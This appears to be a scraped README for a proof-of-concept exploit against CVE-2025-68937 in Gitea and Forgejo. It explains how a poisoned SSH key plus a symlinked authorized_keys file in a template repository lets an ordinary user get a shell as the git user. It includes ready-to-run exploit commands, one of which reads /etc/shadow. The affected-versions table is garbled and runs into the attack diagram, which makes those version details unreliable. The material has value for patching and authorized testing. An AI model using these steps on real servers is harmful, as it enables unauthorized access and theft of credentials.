Exploit for CVE-2025-68937

## https://sploitus.com/exploit?id=C6FB54E1-7814-566E-BB01-D870F5800C80
# CVE-2025-68937 - Gitea/Forgejo Template Symlink RCE

Automated proof-of-concept for **CVE-2025-68937**: directory traversal via symlink dereferencing in Gitea and Forgejo template repository processing, leading to remote code execution.

**Any authenticated user** (no admin required) can obtain a shell as the `git` service user.

## Vulnerability

When generating a new repository from a template, Gitea/Forgejo copies template files and expands variables like `${REPO_DESCRIPTION}` in files listed in `.gitea/template`. This process **follows symbolic links** without validation, allowing an attacker to read from and write to arbitrary files on the server.

| Detail | Value |
|--------|-------|
| **CVE** | [CVE-2025-68937](https://nvd.nist.gov/vuln/detail/CVE-2025-68937) |
| **CVSS 4.0** | 9.5 Critical |
| **CWE** | CWE-61 (UNIX Symbolic Link Following) |
| **Auth Required** | Yes (any user) |
| **Admin Required** | No |

### Affected Versions

| Software | Affected | Fixed |
|----------|----------|-------|
| Gitea | >= 1.11.0-rc1, = 12.0.0, +  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |   | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
```

1. **Register a poisoned SSH key** with Gitea -- the key's comment contains `${REPO_DESCRIPTION}`, a template variable that Gitea expands
2. **Create a template repository** containing:
   - `.gitea/template` listing `authorized_keys` for variable expansion
   - A git symlink `authorized_keys` pointing to the git user's real `authorized_keys` file
3. **Generate a child repository** from the template with the attacker's unrestricted SSH public key in the description field
4. **Template expansion follows the symlink**, reads the real `authorized_keys` file (which contains our registered key with `${REPO_DESCRIPTION}` in the comment), expands the variable to the child's description (our SSH key), and **writes the result back through the symlink**
5. **SSH in as `git`** with the injected key (no `command=` restriction)

## Usage

```bash
pip install requests
```

```bash
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
```

### Options

| Flag | Default | Description |
|------|---------|-------------|
| `-u, --url` | *required* | Gitea/Forgejo base URL |
| `-U, --user` | *required* | Username |
| `-P, --password` | *required* | Password |
| `--git-home` | `/data/git` | Git user home directory on target |
| `--ssh-host` | from `--url` | SSH host to connect to |
| `--ssh-port` | `22` | Gitea SSH port |
| `--timeout` | `30` | Seconds to wait for SSH |
| `--command` | interactive | Command to run after shell |
| `--cleanup` | - | Remove exploit artifacts |

## Test Environment

Spin up a vulnerable instance:

```bash
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
```

1. Open `http://localhost:3000`, finish the install wizard (SQLite works fine)
2. Register a user account
3. Run:

```bash
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
```

## Requirements

- Python 3.8+
- `requests`
- `git` and `ssh-keygen` on PATH

## Remediation

- **Gitea**: upgrade to 1.24.7 or later
- **Forgejo**: upgrade to 11.0.7 (LTS) or 13.0.2+

## References

- [NVD: CVE-2025-68937](https://nvd.nist.gov/vuln/detail/CVE-2025-68937)
- [GitHub Advisory: GHSA-7mhf-6fhv-c83c](https://github.com/advisories/GHSA-7mhf-6fhv-c83c)
- [Gitea Security Fix Analysis (PR #36734 & #36746)](https://abanoubhanna.com/posts/gitea-securing-repo-templates/)
- [Gitea 1.24.7 Release Notes](https://blog.gitea.com/release-of-1.24.7/)

## Disclaimer

This tool is for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.